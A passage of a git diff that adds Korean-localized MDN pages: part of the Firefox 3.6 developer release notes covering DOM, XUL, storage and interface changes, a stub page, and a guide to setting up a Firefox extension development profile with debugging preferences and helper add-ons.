+    workers">Workers</a> now support the <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsIWorkerScope#close()">nsIWorkerScope.close()</a></code> method, which allows them to terminate themselves.</dd>
+ <dt>Drag and drop now supports files</dt>
+ <dd>The <a href="/En/DragDrop/DataTransfer" title="en/DragDrop/DataTransfer"><code>DataTransfer</code></a> object provided to drag listeners now includes a list of files that were dragged.</dd>
+ <dt><a href="/en/Detecting_device_orientation" title="en/Detecting device orientation">Detecting device orientation</a></dt>
+ <dd>Content can now detect the orientation of the device if it has a supported accelerometer, using the <code>MozOrientation</code> event; see <a href="/en/DOM/window.onmozorientation" title="en/DOM/window.onmozorientation"><code>window.onmozorientation</code></a> for details. Firefox 3.6 supports the accelerometer in Mac laptops.</dd>
+ <dt><a href="/en/DOM/Detecting_document_width_and_height_changes" title="en/DOM/Detecting document width and height changes">Detecting document width and height changes</a></dt>
+ <dd>The new <code>MozScrollAreaChanged</code> event is dispatched whenever the document's <code>scrollWidth</code> and/or <code>scrollHeight</code> properties change.</dd>
+</dl>
+
+<h4 id="Miscellaneous_DOM_changes">Miscellaneous DOM changes</h4>
+
+<ul>
+ <li>The <code>getBoxObjectFor()</code> method has been <strong>removed</strong>, as it was non-standard and exposed even more non-standard stuff to the web. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=340571" title="FIXED: getBoxObjectFor leaking-onto-the-Web disaster">bug 340571</a>. Also affects <a class="external" href="http://mootools.net/" title="http://mootools.net/">MooTools</a> which uses this call for Gecko detection; this has been fixed in the latest version of MooTools, so be sure to update.</li>
+ <li>The new <a class="internal" href="/en/DOM/window.mozInnerScreenX" title="en/DOM/window.mozInnerScreenX"><code>mozInnerScreenX</code></a> and <a class="internal" href="/en/DOM/window.mozInnerScreenY" title="en/DOM/window.mozInnerScreenY"><code>mozInnerScreenY</code></a> properties on DOM windows have been added; these return the screen coordinates of the top-left corner of the window's viewport.</li>
+ <li>The new <a class="internal" href="/en/DOM/window.mozScreenPixelsPerCSSPixel" title="en/DOM/window.mozScreenPixelsPerCSSPixel"><code>mozScreenPixelsPerCSSPixel</code></a> property, accessible only to chrome, provides a conversion factor between CSS pixels and screen pixels; this value can vary based on the zoom level of the content.</li>
+ <li>When the page's URI's document fragment identifier (the part after the "#" (hash) character) changes, a new <code>hashchange</code> event is sent to the page. See <a class="internal" href="/en/DOM/window.onhashchange" title="window.onhashchange">window.onhashchange</a> for more information. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=385434" title="FIXED: Add support for HTML5 onhashchange (event for named anchor changes)">bug 385434</a></li>
+ <li>The attribute <a class="internal" href="/en/DOM/document.readyState" title="en/DOM/document.readyState"><code>document.readyState</code></a> is now supported. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=347174" title='FIXED: Implement document.readystate == "complete"'>bug 347174</a></li>
+ <li>Support for HTML5's <code><a class="internal" href="/en/DOM/element.classList" title="element.classList">element.classList</a></code> to allow easier handling of the class attribute. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=501257" title="FIXED: Implement HTML 5's HTMLElement.classList property">bug 501257</a></li>
+ <li><code>localName</code> and <code>namespaceURI</code> in HTML documents now behave like they do in XHTML documents: <code>localName</code> returns in lower case and <code>namespaceURI</code> for HTML elements is <code>"<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"</code>.</li>
+ <li><a href="/en/DOM/element.getElementsByTagNameNS" title="en/DOM/element.getElementsByTagNameNS"><code>element.getElementsByTagNameNS</code></a> no longer lowercases its argument, so upper-case ASCII letters in the argument make matches against HTML elements fail.  The same is true for <a href="/en/DOM/document.getElementsByTagNameNS" title="en/DOM/document.getElementsByTagNameNS"><code>document.getElementsByTagNameNS</code></a>.</li>
+ <li>Support has been added for addresses in geolocation via the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMGeoPositionAddress" title="">nsIDOMGeoPositionAddress</a></code> interface and a new field added to <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMGeoPosition" title="">nsIDOMGeoPosition</a></code>.</li>
+ <li>The <a href="/ko/docs/Web/API/Window/getComputedStyle" title="Window.getComputedStyle() 메소드는 인자로 전달받은 요소의 모든 CSS 속성값을 담은 객체를 회신합니다. 이 속성값들은, 해당 요소에 대하여 활성 스타일시트와 속성값에 대한 기본 연산이 모두 반영된 결과값입니다.  개별 CSS속성 값은 객체를 통해 제공되는 API 또는 CSS 속성 이름을 사용해서 간단히 색인화해서 액세스할 수 있습니다."><code>window.getComputedStyle</code></a> function now returns quotes within <code>url()</code> values.</li>
+</ul>
+
+<h3 id="XPath">XPath</h3>
+
+<dl>
+ <dt>The choose() XPath method is now supported</dt>
+ <dd>The <a href="/en/XPath/Functions/choose" title="en/XPath/Functions/choose"><code>choose()</code></a> method is now supported by our implementation of <a href="/en/XPath" title="en/XPath">XPath</a>.</dd>
+</dl>
+
+<h2 id="XUL_과_add-on_개발자를_위하여">XUL 과 add-on 개발자를 위하여</h2>
+
+<p>If you're an extension developer, you should start by reading <a class="internal" href="/en/Updating_extensions_for_Firefox_3.6" title="en/Updating extensions for Firefox 3.6">Updating extensions for Firefox 3.6</a>, which offers a helpful overview of what changes may affect your extension. Plug-in developers should read <a class="internal" href="/en/Updating_plug-ins_for_Firefox_3.6" title="en/Updating plug-ins for Firefox 3.6">Updating plug-ins for Firefox 3.6</a>.</p>
+
+<h3 id="New_features">New features</h3>
+
+<dl>
+ <dt><a href="/en/Detecting_device_orientation" title="en/Detecting device orientation">Detecting device orientation</a></dt>
+ <dd>Content can now detect the orientation of the device if it has a supported accelerometer, using the <code>MozOrientation</code> event; see <a href="/en/DOM/window.onmozorientation" title="en/DOM/window.onmozorientation"><code>window.onmozorientation</code></a> for details. Firefox 3.6 supports the accelerometer in Mac laptops.</dd>
+ <dt><a href="/en/Monitoring_HTTP_activity" title="en/Monitoring HTTP activity">Monitoring HTTP activity</a></dt>
+ <dd>You can now monitor HTTP transactions to observe requests and responses in real time.</dd>
+ <dt><a href="/en/Working_with_the_Windows_taskbar" title="en/Working with the Windows taskbar">Working with the Windows taskbar</a></dt>
+ <dd>It's now possible to customize the appearance of windows in the taskbar in Windows 7 or later. <em>This has been disabled by default in Firefox 3.6.</em></dd>
+</dl>
+
+<h3 id="Places">Places</h3>
+
+<ul>
+ <li>Places queries can now use the <code>redirectsMode</code> attribute on the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQueryOptions" title="">nsINavHistoryQueryOptions</a></code> interface to specify whether or not to include redirected pages in results.</li>
+ <li>Added the new <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsIFaviconService#expireAllFavicons()">nsIFaviconService.expireAllFavicons()</a></code> method to the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFaviconService" title="">nsIFaviconService</a></code> interface.</li>
+</ul>
+
+<h3 id="Storage">Storage</h3>
+
+<dl>
+ <dt><a href="/en/Storage#Collation_(sorting)" title="en/Storage#Collation
+    (sorting)">Locale-aware collation of data is now supported by the Storage API</a></dt>
+ <dd>Gecko 1.9.2 added several new collation methods to provide optimized collation (sorting) of results using locale-aware techniques.</dd>
+ <dt><a href="/en/mozIStorageStatementParams#Enumeration_of_properties" title="en/mozIStorageStatementParams#Enumeration of properties">Properties on a statement can now be enumerated</a></dt>
+ <dd>You can now use a <code><a class="internal" href="/en/Core_JavaScript_1.5_Reference/Statements/for...in" title="En/Core JavaScript 1.5
+    Reference/Statements/For...in">for..in</a></code> enumeration to enumerate all the properties on a statement.</dd>
+ <dt>mozIStorageStatement's getParameterIndex changed behavior between 3.5 and 3.6.</dt>
+ <dd>See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=528166" title="mozIStorageStatement getParameterIndex causes NS_ERROR_ILLEGAL_VALUE">bug 528166</a> for details.</dd>
+ <dt>Asynchronously bind multiple sets of parameters and execute a statement.</dt>
+ <dd>See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=490085" title="FIXED: Add ability to bind multiple sets of parameters and execute asynchronously">bug 490085</a> for details. Documentation coming soon.</dd>
+</dl>
+
+<h3 id="Preferences">Preferences</h3>
+
+<ul>
+ <li>The <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentPrefService" title="">nsIContentPrefService</a></code> interface has two new methods: <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsIContentPrefService#getPrefsByName()">nsIContentPrefService.getPrefsByName()</a></code> and <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsIContentPrefService#removePrefsByName()">nsIContentPrefService.removePrefsByName()</a></code>.</li>
+</ul>
+
+<h3 id="태마">태마</h3>
+
+<p>See <a class="internal" href="/en/Updating_themes_for_Firefox_3.6" title="en/Updating themes for Firefox 3.6">Updating themes for Firefox 3.6</a> for a list of changes related to themes.</p>
+
+<dl>
+ <dt><a href="/en/Themes/Lightweight_themes" title="en/Themes/Lightweight themes">Lightweight themes</a></dt>
+ <dd>Firefox 3.6 supports lightweight themes; these are easy-to-create themes that simply apply a background to the top (URL bar and button bar) and bottom (status bar) of browser windows. This is an integration of the existing <a class="external" href="http://www.getpersonas.com/" title="http://www.getpersonas.com/">Personas</a> theme architecture into Firefox.</dd>
+</dl>
+
+<h3 id="Miscellaneous">Miscellaneous</h3>
+
+<ul>
+ <li>Firefox will no longer load third-party components installed in its internal components directory. This helps to ensure stability by preventing buggy third-party components from being executed. Developers that install components this way must <a href="/en/Migrating_raw_components_to_add-ons" title="en/Migrating raw components to
+    add-ons">repackage their components as XPI packages</a> so they can be installed as standard add-ons.</li>
+ <li><code>contents.rdf</code> is no longer supported for registering chrome in extensions. You must now use the <a class="internal" href="/en/Install_Manifests" title="en/Install
+    manifests"><code>chrome.manifest</code></a> file instead. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=492008" title="FIXED: Drop support for contents.rdf chrome registrations">bug 492008</a>.</li>
+ <li>Added support for hiding the menu bar automatically. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=477256" title="FIXED: Implement menubar auto-hiding in toolkit">bug 477256</a>.</li>
+ <li>Added support for the <code>container-live-role</code> attribute to objects. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=391829" title="FIXED: Add support for container-live-role to object attributes">bug 391829</a>.</li>
+ <li>The <code>tabs-closebutton</code> binding has been removed. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=500971" title="FIXED: Remove obsolete tabs-closebutton binding">bug 500971</a>.</li>
+ <li>Added support to <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISound" title="">nsISound</a></code> for playing sounds based on events that have occurred. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=502799" title="FIXED: add new nsISound method for the event sounds">bug 502799</a>.</li>
+ <li>The syntax for the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsITreeView" title="">nsITreeView</a></code> methods <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsITreeView#canDrop()">nsITreeView.canDrop()</a></code> and <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsITreeView#drop()">nsITreeView.drop()</a></code> has changed to support the new drag &amp; drop API introduced in Gecko 1.9. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=455590" title="FIXED: Allow new dnd api with tree views">bug 455590</a>.</li>
+ <li>Added support to snap the mouse cursor to the default button of dialog or wizard on Windows, see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=76053" title='FIXED: Windows mouse integration: "Snap to default button in dialog boxes"'>bug 76053</a>. This is processed automatically by dialog and wizard element. But if a XUL application creates a window using the <code>window</code> element and it has a default button, it needs to call <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsIDOMChromeWindow#notifyDefaultButtonLoaded()">nsIDOMChromeWindow.notifyDefaultButtonLoaded()</a></code> during the window's <code>onload</code> event handler.</li>
+ <li>The <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILocalFileMac" title="">nsILocalFileMac</a></code> interface has had two methods removed: <code>setFileTypeAndCreatorFromMIMEType()</code> and <code>setFileTypeAndCreatorFromExtension()</code>.</li>
+ <li>The new <a class="internal" href="/en/JavaScript_code_modules/NetUtil.jsm" title="en/JavaScript code
+    modules/NetUtil.jsm"><code>NetUtils.jsm</code></a> code module provides an easy-to-use method for asynchronously copying data from an input stream to an output stream.</li>
+ <li>The new <a class="internal" href="/en/JavaScript_code_modules/openLocationLastURL.jsm" title="en/JavaScript code
+    modules/openLocationLastURL.jsm"><code>openLocationLastURL.jsm</code></a> code module makes it easy to read and change the value of the "Open Location" dialog box's remembered URL while properly taking private browsing mode into account.</li>
+ <li>On Windows, the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIScreen" title="">nsIScreen</a></code> interface now reports 24 bit per pixel color depths when the graphics driver claims 32 bits, since 24 more accurately represents the actual number of color pixels in use.</li>
+ <li>Menu bars can now be hidden on Windows, using the new <code id="a-autohide"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/autohide">autohide</a></code> attribute on the <code><a href="/ko/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code> XUL element.</li>
+ <li>The <span id="m-loadOneTab"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/loadOneTab">loadOneTab</a></code></span> and <span id="m-addTab"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/addTab">addTab</a></code></span> methods now accept a new <code>relatedToCurrent</code> parameter and, in addition, allow the parameters to be specified by name, since nearly all of the parameters are optional.</li>
+ <li>The "<a href="/en/Install_Manifests#hidden" title="en/Install Manifests#hidden">hidden</a>" property is no longer supported in install manifests; it's no longer possible to prevent the user from seeing add-ons in the add-on manager window.</li>
+ <li>The <code>@mozilla.org/webshell;1</code> component no longer exists; you need to use <code>@mozilla.org/docshell;1</code> instead.</li>
+ <li>You can now register with the update-timer category to schedule timer events without having to instantiate the object that the timer will eventually call into; it will instead be instantiated when it's needed. See <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsIUpdateTimerManager#registerTimer()">nsIUpdateTimerManager.registerTimer()</a></code> for details.</li>
+ <li>The <a href="/en/NPN_GetValue" title="en/NPN GetValue"><code>NPN_GetValue()</code></a> function no longer provides access to XPCOM through the variable values <code>NPNVserviceManager</code>, <code>NPNVDOMelement</code>, and <code>NPNVDOMWindow</code>. This is part of the work toward making plugins run in separate processes in a future version of Gecko.</li>
+</ul>
+
+<h2 id="FirefoxGecko_개발자">Firefox/Gecko 개발자</h2>
+
+<p>Certain changes are only really interesting if you work on the internals of Firefox itself.</p>
+
+<h3 id="인터페이스_융합">인터페이스 융합</h3>
+
+<p>다음과 같은 인터페이스들은 결합되었습니다:</p>
+
+<ul>
+ <li><code>nsIPluginTagInfo2</code> has been merged into <code>nsIPluginTagInfo</code>.</li>
+ <li><code>nsIPluginInstanceInternal</code>, <code>nsIPPluginInstancePeer</code>, <code>nsIPluginInstancePeer1</code>, <code>nsIPluginInstancePeer2</code>, and <code>nsIPluginInstancePeer3</code> have all been merged into <code>nsIPluginInstance</code>.</li>
+ <li><code>nsIWindowlessPlugInstPeer</code> has been merged into <code>nsIPluginInstance</code>.</li>
+ <li><code>nsIPluginManager</code> and <code>nsIPluginManager2</code> have been merged into <code>nsIPluginHost</code>.</li>
+</ul>
+
+<h3 id="인터페이스_제거">인터페이스 제거</h3>
+
+<p>The following interfaces have been removed entirely because they were unused, unimplemented, or obsolete:</p>
+
+<ul>
+ <li><code>nsIFullScreen</code></li>
+ <li><code>nsIDOMSVGListener</code></li>
+ <li><code>nsIDOMSVGZoomListener</code></li>
+ <li><code>nsIInternetConfigService</code></li>
+ <li><code>nsIDKey</code></li>
+ <li><code>nsIEventHandler</code></li>
+ <li><code>nsIJRILiveConnectPIPeer</code></li>
+ <li><code>nsIJRILiveConnectPlugin</code></li>
+ <li><code>nsIScriptablePlugin</code></li>
+ <li><code>nsIClassicPluginFactory</code></li>
+ <li><code>nsIFileUtilities</code></li>
+</ul>
+
+<h3 id="인터페이스_이동">인터페이스 이동</h3>
+
+<p>The following interfaces have been relocated from their previous IDL files into new ones:</p>
+
+<ul>
+ <li><code>nsIDOMNSCSS2Properties</code> is now located in its own IDL file (<code>dom/interfaces/css/nsIDOMCSS2Properties.idl</code>).</li>
+ <li><code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIUpdateTimerManager" title="">nsIUpdateTimerManager</a></code> is now located in its own IDL file.</li>
+</ul>
+
+<p>A large number of interfaces have been moved. See <a href="/en/Interfaces_moved_in_Firefox_3.6" title="en/Interfaces moved in Firefox 3.6">Interfaces moved in Firefox 3.6</a> for a complete list.</p>
+
+<h3 id="그_외_인터페이스_변화">그 외 인터페이스 변화</h3>
+
+<p>The following assorted changes have been made:</p>
+
+<ul>
+ <li>The <code>nsIPlugin</code> interface now inherits from <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code> instead of <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFactory" title="">nsIFactory</a></code>.</li>
+ <li>The <code>nsIPluginHost</code> interface now inherits from <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code> instead of <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFactory" title="">nsIFactory</a></code>.</li>
+ <li>The <code>nsIFrame</code> interface now inherits from <code>nsQueryFrame</code> instead of <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code>.</li>
+ <li>The <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDeviceContext" title="">nsIDeviceContext</a></code> method <code>getPaletteInfo()</code> has been removed, as it was never implemented.</li>
+ <li>The <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIScriptContext" title="">nsIScriptContext</a></code> method <code>reportPendingException()</code> has been removed, since it was no longer being used.</li>
+</ul>
+
+<h3 id="Changes_in_accessibility_code">Changes in accessibility code</h3>
+
+<ul>
+ <li>The <span style="font-family: monospace;">EVENT</span><code>_REORDER</code> <a href="/en/XPCOM_Interface_Reference/nsIAccessibleEvent" title="en/XPCOM Interface Reference/nsIAccessibleEvent">accessibility event</a> is now sent when the children of frames and iframes change, as well as when the main document's children change. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=420845" title="FIXED: Fire event_reorder on any embedded frames/iframes whos document has just loaded.">bug 420845</a>.</li>
+ <li>The <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsIAccessibleTable#selectRow()">nsIAccessibleTable.selectRow()</a></code> now correctly removes any current selection before selecting the specified row.</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/En/Firefox_3.5_for_developers" title="En/Firefox 3.5 for
+    developers">Firefox 3.5 for developers</a></li>
+ <li><a class="internal" href="/en/Firefox_3_for_developers" title="en/Firefox 3 for
+    developers">Firefox 3 for developers</a></li>
+ <li><a class="internal" href="/en/Firefox_2_for_developers" title="en/Firefox 2 for
+    developers">Firefox 2 for developers</a></li>
+ <li><a class="internal" href="/en/Firefox_1.5_for_developers" title="en/Firefox 1.5 for
+    developers">Firefox 1.5 for developers</a></li>
+</ul>
diff --git a/files/ko/지역의_코드를_씁니다/index.html b/files/ko/지역의_코드를_씁니다/index.html
new file mode 100644
index 0000000000..617dea4228
--- /dev/null
+++ b/files/ko/지역의_코드를_씁니다/index.html
@@ -0,0 +1,5 @@
+---
+title: 지역의 코드를 씁니다.
+slug: 지역의_코드를_씁니다.
+---
+<p>이 페이지는 연결되어 있지 않습니다.. 풍부한 MDC에 기여합니다.</p>
diff --git a/files/ko/확장기능_개발_환경_구축/index.html b/files/ko/확장기능_개발_환경_구축/index.html
new file mode 100644
index 0000000000..19bfdf3f81
--- /dev/null
+++ b/files/ko/확장기능_개발_환경_구축/index.html
@@ -0,0 +1,88 @@
+---
+title: 확장기능 개발 환경 구축
+slug: 확장기능_개발_환경_구축
+---
+<p>이 글에는 확장기능 개발을 위한 Mozilla 응용프로그램 설정 방법을 제공합니다. 특별한 지정하지 않는 한 이 방법들은 Firefox와 Thunderbird 뿐만 아니라 SeaMonkey 버전 2.0 이상에서도 적용가능합니다.</p>
+<h3 id="개요">개요</h3>
+<ul>
+ <li>Firefox의 개발세션을 실행하기 위한 개발용 <strong>사용자 프로필</strong>을 생성합니다. 그리고 <code>about:config</code> 에서 특정한 개발용 환경설정을 합니다.</li>
+ <li>개발용 프로필에 몇가지 Firefox <strong>개발용 확장기능</strong>을 설치합니다.</li>
+ <li>당신의 프로필의 extensions 폴더안의 파일들을 수정하고 개발용 프로필과 응용프로그램을 재시작합니다.</li>
+</ul>
+<h3 id="Development_profile" name="Development_profile">개발용 프로필</h3>
+<p>개발 단계에서 성능저하를 방지하려면 환경 설정 및 확장과 관련된 개인 데이터의 손실을 피하기 위해 개발 작업을 위한 별도의 프로필을 사용 할 수 있습니다.</p>
+<p>별도의 프로필과 <code>-no-remote</code> 매개 변수와 함께 응용 프로그램을 구동하여 같은 시간에 Thunderbird 또는 Firefox 의 두 개의 인스턴스를 실행 할 수 있습니다.</p>
+<p>우분투:</p>
+<pre>/usr/bin/firefox -no-remote -P dev</pre>
+<p>다른 리눅스 배포판:</p>
+<pre>/usr/local/bin/firefox -no-remote -P dev
+</pre>
+<p>맥킨토시:</p>
+<pre class="eval">/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -P dev &amp;
+</pre>
+<p>윈도우즈:</p>
+<pre class="eval">시작 -&gt; 실행 "%ProgramFiles%\Mozilla Firefox\firefox.exe" -no-remote -P dev
+</pre>
+<p>Firefox 대신에 Thunderbird 또는 SeaMonkey를 시작 하려면 , 위의 예제에서 "firefox" 대신 "thunderbird" 또는 "seamonkey" 으로 대체합니다.</p>
+<p>프로필 지정이 존재 하지 않는 경우 (또는 프로필을 지정 안하는 경우), Thunderbird 또는 Firefox 프로필 관리자가 표시됩니다. 기본 프로필로 실행 하기위해 프로필을 "default"로 지정합니다. (또는 "-P 를 생략합니다.).</p>
+<p>(There is a thread in the <a class="external" href="http://forums.mozillazine.org/" title="http://forums.mozillazine.org/">Mozillazine forums</a> that explains how to use both stable and development versions of Firefox to check extension compatibility. See <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=613873">Installing Firefox 3 or Minefield while keeping Firefox 2</a>.)</p>
+<h3 id="Development_preferences" name="Development_preferences">개발용 설정</h3>
+<p>There is a set of development preferences that, when enabled, allows you to view more information about application activity, thus making debugging easier. However,  these preferences can degrade performance, so you may want to use a separate development profile when you enable these preferences. For more information about Mozilla preferences, refer to the mozillaZine article on "<a class="external" href="http://kb.mozillazine.org/About:config" title="http://kb.mozillazine.org/About:config">about:config</a>".</p>
+<p>Not all preferences are defined by default, and are therefore not listed in <code>about:config</code> by default. You will have to create new (boolean) entries for them.</p>
+<ul>
+ <li><strong>javascript.options.showInConsole</strong> = <strong>true</strong>. Logs errors in chrome files to the <a href="/en/Error_Console" title="en/Error_Console">Error Console</a>.</li>
+ <li><strong>nglayout.debug.disable_xul_cache</strong> = <strong>true</strong>. Disables the XUL cache so that changes to windows and dialogs do not require a restart. This assumes you're <a href="#Using_directories_rather_than_JARs">using directories rather than JARs</a>. Changes to XUL overlays will still require reloading of the document overlaid.</li>
+ <li><strong>browser.dom.window.dump.enabled</strong> = <strong>true</strong>. Enables the use of the <span style="font-family: Courier New;">dump()</span> statement to print to the standard console. See <span style="font-family: Courier New;">{{ Domxref("window.dump") }}</span> for more info. You can also use <span style="font-family: Courier New;">{{ Interface("nsIConsoleService") }}</span> from a privileged script.</li>
+ <li><strong>javascript.options.strict</strong> = <strong>true</strong>. Enables strict JavaScript warnings in the Error Console. Note that since many people have this setting turned off when developing, you will see lots of warnings for problems with their code in addition to warnings for your own extension. You can filter those with <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1815">Console<sup>2</sup></a>.</li>
+ <li><strong>extensions.logging.enabled</strong> = <strong>true</strong>. This will send more detailed information about installation and update problems to the <a href="/en/Error_Console" title="en/Error Console">Error Console</a>. (Note that the extension manager automatically restarts the application at startup sometimes, which may mean you won't have time to see the messages logged before the automatic restart happens. To see them, prevent the automatic restart by setting the environment NO_EM_RESTART to 1 before starting the application.)</li>
+ <li>You might also want to set <strong>dom.report_all_js_exceptions = true</strong>. See <a class="internal" href="/en/Exception_logging_in_JavaScript" title="en/Exception logging in JavaScript">Exception logging in JavaScript</a> for details.</li>
+</ul>
+<h4 id="Accessing_Firefox_development_preferences">Accessing Firefox development preferences</h4>
+<p>To change preference settings in Firefox or SeaMonkey, type <code>about:config </code>in the Location Bar. Alternatively, use the <a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/7434/" title="http://addons.mozilla.org/en-US/firefox/addon/7434/">Extension Developer's Extension</a>, which provides a menu interface for Firefox settings.</p>
+<h4 id="Accessing_Thunderbird_development_preferences">Accessing Thunderbird development preferences</h4>
+<p>To change preference settings in Thunderbird, open the "Preferences" (Unix) or "Options" (Windows) interface. On the "Advanced" page, select the "General" tab then click the "Config Editor" button.</p>
+<h3 id="Development_extensions" name="Development_extensions">개발에 도움되는 확장 기능</h3>
+<p>이 확장 기능들이 당신이 개발을 할때 도움을 줄 수 있습니다.</p>
+<ul>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a>,  웹 문서 또는 XUL 응용 프로그램의 live DOM을 점검하고 편집하는 곳에 사용 (Firefox 와 Thunderbird)</li>
+ <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/" title="http://www.hacksrus.com/~ginda/venkman/">Venkman</a>, JavaScript 디버거 (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/216" title="http://addons.mozilla.org/en-US/firefox/addon/216">Firefox 버전</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/216" title="http://addons.mozilla.org/en-US/thunderbird/addon/216">Thunderbird 버전</a>)</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434/">Extension Developer's Extension</a> 확장 기능 개발을 위한 툴 제품군 (Firefox)</li>
+ <li><a class="external" href="http://console2.mozdev.org/" title="http://console2.mozdev.org/">Console<sup>2</sup></a> 향상된 JavaScript 콘솔 (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/1815" title="http://addons.mozilla.org/en-US/firefox/addon/1815">Firefox 버전</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/1815" title="http://addons.mozilla.org/en-US/thunderbird/addon/1815">Thunderbird 버전</a>)</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/firefox/addon/5058" title="https://addons.mozilla.org/firefox/addon/5058">Javascript Command</a> Firefox windows 에서 javascript를 작성 및 테스트 하는 곳에 사용</li>
+ <li><a class="external" href="http://www.gijsk.com/" title="http://www.gijsk.com/">Chrome List</a> chrome:// 안에서 파일을 탐색하고 보는 곳에 사용 (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/4453" title="http://addons.mozilla.org/en-US/firefox/addon/4453">Firefox 버전</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/4453" title="http://addons.mozilla.org/en-US/thunderbird/addon/4453">Thunderbird 버전</a>)</li>
+ <li><a class="external" href="http://webdesigns.ms11.net/chromeditp.html" title="http://webdesigns.ms11.net/chromeditp.html">Chrome Edit Plus </a> 사용자 파일 에디터 (Firefox 와 Thunderbird)</li>
+ <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/" title="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a> 확장 기능의 골격을 생성하는 <span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="a web-based application that generates an
+    extension skeleton">웹 기반 응용 프로그램 </span></span>(Firefox 와 Thunderbird)</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/firefox/addon/1843">Firebug</a> 다양한 개발 도구 (Firefox)</li>
+ <li><a class="external" href="http://getfirebug.com/releases" title="http://getfirebug.com/releases">Chromebug</a> JavaScript 디버거와 DOM의 결합 요소 (Firefox, "kinda works for Thunderbird")</li>
+ <li><a class="external" href="http://hyperstruct.net/projects/mozrepl" title="http://hyperstruct.net/projects/mozrepl">MozRepl  </a>Firefox 와 다른 Mozilla 응용 프로그램이 실행 되는 동안 탐색 과 편집 (Firefox 와 Thunderbird)</li>
+ <li><a class="external" href="http://www.mouseless.de/index.php?/content/view/18/31/" title="http://www.mouseless.de/index.php?/content/view/18/31/">ExecuteJS</a> 향상된 JavaScript 콘솔 (<a class="link-https" href="https://addons.mozilla.org/firefox/addon/1729" title="https://addons.mozilla.org/firefox/addon/1729">Firefox 버전</a>, <a class="external" href="http://xsidebar.mozdev.org/modifiedmisc.html#executejs" title="http://xsidebar.mozdev.org/modifiedmisc.html#executejs">Thunderbird 버전</a>)</li>
+ <li><a class="external" href="http://xpcomviewer.mozdev.org">XPCOMViewer</a> XPCOM 검사기 (Firefox 와 Thunderbird)</li>
+ <li><a class="internal" href="/en/JavaScript_shells" title="En/JavaScript
+    shells">JavaScript shells</a> JavaScript 의 미리보기 테스트  (Firefox 와 Thunderbird)</li>
